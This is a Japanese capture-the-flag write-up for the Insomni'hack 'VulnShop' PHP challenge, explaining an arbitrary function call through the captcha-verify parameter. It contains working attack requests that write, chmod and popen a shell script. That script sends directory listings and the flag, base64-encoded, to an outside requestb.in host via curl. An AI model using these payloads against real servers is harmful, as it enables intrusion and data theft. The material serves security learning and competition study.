# ▼▼▼VulnShop(Web:84solve/433team=19.3％)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```VulnShop by BlaklisWe're preparing a website for selling some important vulnerabilities in the future. You can browse some static pages on it, waiting for the official release.http://vulnshop.teaser.insomnihack.chImportant : you don't need to use automated scanners or bruteforce for this challenge, and using some will result for your ip to be banned. Go on IRC to ask for being unbanned.```
-----## 【information gathering】
ソースコードが公開されている
`http://vulnshop.teaser.insomnihack.ch/?hl`
↓
```  <html> <head> 		<title>Work in progress...</title> 		<meta charset="utf-8" /> 		<meta http-equiv="content-type" content="text/html; charset=utf-8" /> 		<style> 				body { 						background-color: #aaa; 						color:#fff; 				} 
				.page { 						width: 50%; 						margin: 0 auto; 						margin-top: 75px; 				} 
				.menu ul li { 						display:inline-block; 						vertical-align:top; 						margin-right: 30px; 
				} 		</style> </head> <body> 		<div class="page"> 				<div class="menu">    Home  Introduction  Privacy  Contact   				</div> 
				<div class="content"> 						Welcome to our website about infosec. It's still under construction, but you can begin to browse some pages!"; 														break; 												case 'introduction': 														echo "Our website will introduce some new vulnerabilities. Let's check it out later!"; 														break; 												case 'privacy': 														echo "This website is unbreakable, so don't worry when contacting us about some new vulnerabilities!"; 														break; 												case 'contactus': 														echo "You can't contact us for the moment, but it will be available later."; 														$_SESSION['challenge'] = rand(100000,999999); 														break; 												case 'captcha': 														if(isset($_SESSION['challenge'])) echo $_SESSION['challenge']; 														// Will make an image later 						touch($_SESSION['challenge']); 														break; 												case 'captcha-verify': 						// verification functions take a file for later, when we'll provide more way of verification 														function verifyFromString($file, $response) { 																if($_SESSION['challenge'] === $response) return true; 																else return false; 														} 

Our website will introduce some new vulnerabilities. Let's check it out later!
This website is unbreakable, so don't worry when contacting us about some new vulnerabilities!
You can't contact us for the moment, but it will be available later.
														// Captcha from math op 														function verifyFromMath($file, $response) { 																if(eval("return ".$_SESSION['challenge']." ;") === $response) return true; 																else return false; 														} 														if(isset($_REQUEST['answer']) && isset($_REQUEST['method']) && function_exists($_REQUEST['method'])){ 																$_REQUEST['method']("./".$_SESSION['challenge'], $_REQUEST['answer']); 														} 														break; 
										} 						?> 				</div> 		</div>  View code source of the file, to be sure we're secure!  Show our configurations </body> </html> ```
View code source of the file, to be sure we're secure!
Show our configurations
↓
ソースコードを読んでいく
**１．入力値がフィルターされている**
```// Anti XSS filter $_REQUEST = array_map("strip_tags", $_REQUEST);```
↓
`<`が削除されたりする。
-----
**２．`$_REQUEST`の取得先を確認する**
`Show our configurations`で、phpinfo()が確認できるようになっている。
Show our configurations
phpinfo()の内容を確認すると、`variables_order`で`GPCS`と設定されている。
※(参考)EGPCS (Environment, Get, Post, Cookie, Server) 
-----
**３．`$_GET['page']`で処理がわかれるので確認する**
```case 'contactus': 		echo "You can't contact us for the moment, but it will be available later."; 		$_SESSION['challenge'] = rand(100000,999999); 		break; ```
You can't contact us for the moment, but it will be available later.
↓
`page=contactus`で、セッションに紐づく`$_SESSION['challenge']` に乱数が設定される。
-----
```case 'captcha': if(isset($_SESSION['challenge'])) echo $_SESSION['challenge']; // Will make an image later touch($_SESSION['challenge']); break; ```
↓
`page=captcha`で、セッションに紐づく`$_SESSION['challenge']`の名前で`touch($_SESSION['challenge'])`とファイルが作成される。
-----
```case 'captcha-verify': // verification functions take a file for later, when we'll provide more way of verification function verifyFromString($file, $response) { 	if($_SESSION['challenge'] === $response) return true; 	else return false; } 
// Captcha from math op function verifyFromMath($file, $response) { 	if(eval("return ".$_SESSION['challenge']." ;") === $response) return true; 	else return false; }
if(isset($_REQUEST['answer']) && isset($_REQUEST['method']) && function_exists($_REQUEST['method'])){ 	$_REQUEST['method']("./".$_SESSION['challenge'], $_REQUEST['answer']); } break; ```
↓
`page=captcha-verify`で、`$_REQUEST['method']("./".$_SESSION['challenge'], $_REQUEST['answer']);`
↓
任意のPHP関数を作成して、『上記で作成したファイルを対象』に処理実行ができる★
ユーザ入力箇所は、`$_REQUEST['method']`と`$_REQUEST['answer']`のみ。
-----
**４．次に、phpinfo()の`disable_functions`で禁止されている関数を確認する**
↓
```pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,proc_open,system,shell_exec,exec,passthru,mail```
↓
OSコマンドを実行できる関数として`popen()`が使えることがわかった。
-----
## 【Try】
### Try1：XSS filter bypass⇒PHPコードアップロード⇒OSコマンド実行
`array_map()`は、パラメータの値は処理するがパラメータ名を処理しない
しかし、 フィルター処理時は`$_REQUEST`だが、使用時は`$_REQUEST['answer']`とパラメータ名が指定されているのでXSS filter bypassは不可。
-----
### Try2:実行ファイルアップロード⇒ファイル実行
シェルプログラムか、コンパイルされたファイルを送信して実行すればよい。
**１．まず、`$_SESSION['challenge']`に乱数を設定する。**
`GET /?page=contactus`
-----
**２．次に、`$_SESSION['challenge']`がちゃんと設定されてることを確認しファイル作成する。**
`GET /?page=captcha`
↓
`<div class="content">585298</div>`
↓
585298という空のファイルが作成された。
-----
**３．ファイルにシェルプログラミングを書き込む**
popen()の結果は表示されないので、シェルコードで実行結果を待ち受けサーバに送信するように書く
↓
```#!/bin/shls / | base64 | curl https://requestb.in/1cakar11 -G -d @-```
↓
urlエンコードして`file_put_contents()`でファイル書き込みする
※この時、`Server: Apache/2.4.18 (Ubuntu)`と、Linuxなので改行コードは`%0d%0a`ではなく、`%0a`である必要があることに注意しながらurlエンコードする
↓
`GET /?page=captcha-verify&method=file_put_contents&answer=%23%21%2fbin%2fsh%0als%20%2f%20%7c%20base64%20%7c%20curl%20https%3a%2f%2frequestb%2ein%2f1cakar11%20%2dG%20%2dd%20%40%2d%0a`
-----
**４．書きこまれていることをhighlight_file()で確認する**
`GET /?page=captcha-verify&method=highlight_file&answer=`
↓
```#!/bin/shls / | base64 | curl https://requestb.in/1cakar11 -G -d @-```
↓
上記のように表示され書き込まれていることが確認できた。
-----
**５．chmod()でファイルに実行権限を付与する**
`chmod`で8進数の'0777'を付与するには、2進数で111111111なので、10進数で2^9-1=511を送信すればよい。
`GET /?page=captcha-verify&method=chmod&answer=511`
-----
**６．popen()で./585298ファイルを実行する**
`GET /?page=captcha-verify&method=popen&answer=r`	
-----
**７．待ち受けサーバを確認すると下記リクエストが受け取れる**
`https://requestb.in/1cakar11?YmluCmJvb3QKZGV2CmV0YwpmbGFnCmhvbWUKaW5pdHJkLmltZwppbml0cmQuaW1nLm9sZApsaWIKbGliNjQKbG9zdCtmb3VuZAptZWRpYQptbnQKb3B0CnByb2MKcm9vdApydW4Kc2JpbgpzbmFwCnNydgpzeXMKdG1wCnVzcgp2YXIKdm1saW51egp2bWxpbnV6Lm9sZAo=`
↓
`YmluCmJvb3QKZGV2CmV0YwpmbGFnCmhvbWUKaW5pdHJkLmltZwppbml0cmQuaW1nLm9sZApsaWIKbGliNjQKbG9zdCtmb3VuZAptZWRpYQptbnQKb3B0CnByb2MKcm9vdApydW4Kc2JpbgpzbmFwCnNydgpzeXMKdG1wCnVzcgp2YXIKdm1saW51egp2bWxpbnV6Lm9sZAo=`
↓base64でデコード
```binbootdevetcflaghomeinitrd.imginitrd.img.oldliblib64lost+foundmediamntoptprocrootrunsbinsnapsrvsystmpusrvarvmlinuzvmlinuz.old```
↓
flagというファイルがあるので内容を確認してみる。
↓
```#!/bin/shcat /flag | base64 | curl https://requestb.in/1cakar11 -G -d @-```
↓
以下同様に、下記でファイルに書き込みする
`GET /?page=captcha-verify&method=file_put_contents&answer=%23%21%2fbin%2fsh%0acat%20%2fflag%20%7c%20base64%20%7c%20curl%20https%3a%2f%2frequestb%2ein%2f1cakar11%20%2dG%20%2dd%20%40%2d`
↓
待ち受けサーバで下記を受け取れる
`https://requestb.in/1cakar11?SU5TezRyYjF0cjRyeV9mdW5jX2M0bGxfaXNfbjB0X3MwX2Z1bn0K`
↓　base64でデコードする
`INS{4rb1tr4ry_func_c4ll_is_n0t_s0_fun}`